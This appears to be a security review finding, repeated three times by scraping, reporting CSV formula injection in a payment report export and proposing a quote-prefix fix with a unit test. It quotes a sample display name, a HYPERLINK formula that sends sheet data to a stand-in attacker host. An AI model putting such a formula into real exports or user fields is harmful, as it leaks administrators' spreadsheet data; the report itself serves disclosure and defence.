PaymentReport::csvLine() (src/Payment/PaymentReport.php) quotes fields and doubles embedded quotes, but does not neutralise cells beginning with =, +, -, @, tab, or CR.
Students choose their own display_name at registration (src/Auth/RegistrationPage.php — sanitize_text_field permits all of those characters), and that name flows into the CSV the studio admin downloads via the payments report export (src/Payment/PaymentReportController.php).
A student named =HYPERLINK("https://evil.example/?"&A1,"total") becomes a live formula when the admin opens the report in Excel or Google Sheets (classic CSV/formula injection, can exfiltrate sheet data or worse with DDE).
Fix
In csvLine(), prefix a ' to any field starting with one of = + - @ \t \r before quoting, so spreadsheet apps treat it as text. Add a unit test covering a hostile display name.
## Finding (security review — Medium)
`PaymentReport::csvLine()` (src/Payment/PaymentReport.php) quotes fields and doubles embedded quotes, but does not neutralise cells beginning with `=`, `+`, `-`, `@`, tab, or CR.
Students choose their own `display_name` at registration (src/Auth/RegistrationPage.php — `sanitize_text_field` permits all of those characters), and that name flows into the CSV the studio admin downloads via the payments report export (src/Payment/PaymentReportController.php).
A student named `=HYPERLINK("https://evil.example/?"&A1,"total")` becomes a live formula when the admin opens the report in Excel or Google Sheets (classic CSV/formula injection, can exfiltrate sheet data or worse with DDE).
## Fix
In `csvLine()`, prefix a `'` to any field starting with one of `= + - @ \t \r` before quoting, so spreadsheet apps treat it as text. Add a unit test covering a hostile display name.
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Finding (security review — Medium)
PaymentReport::csvLine()(src/Payment/PaymentReport.php) quotes fields and doubles embedded quotes, but does not neutralise cells beginning with=,+,-,@, tab, or CR.Students choose their own
display_nameat registration (src/Auth/RegistrationPage.php —sanitize_text_fieldpermits all of those characters), and that name flows into the CSV the studio admin downloads via the payments report export (src/Payment/PaymentReportController.php).A student named
=HYPERLINK("https://evil.example/?"&A1,"total")becomes a live formula when the admin opens the report in Excel or Google Sheets (classic CSV/formula injection, can exfiltrate sheet data or worse with DDE).Fix
In
csvLine(), prefix a'to any field starting with one of= + - @ \t \rbefore quoting, so spreadsheet apps treat it as text. Add a unit test covering a hostile display name.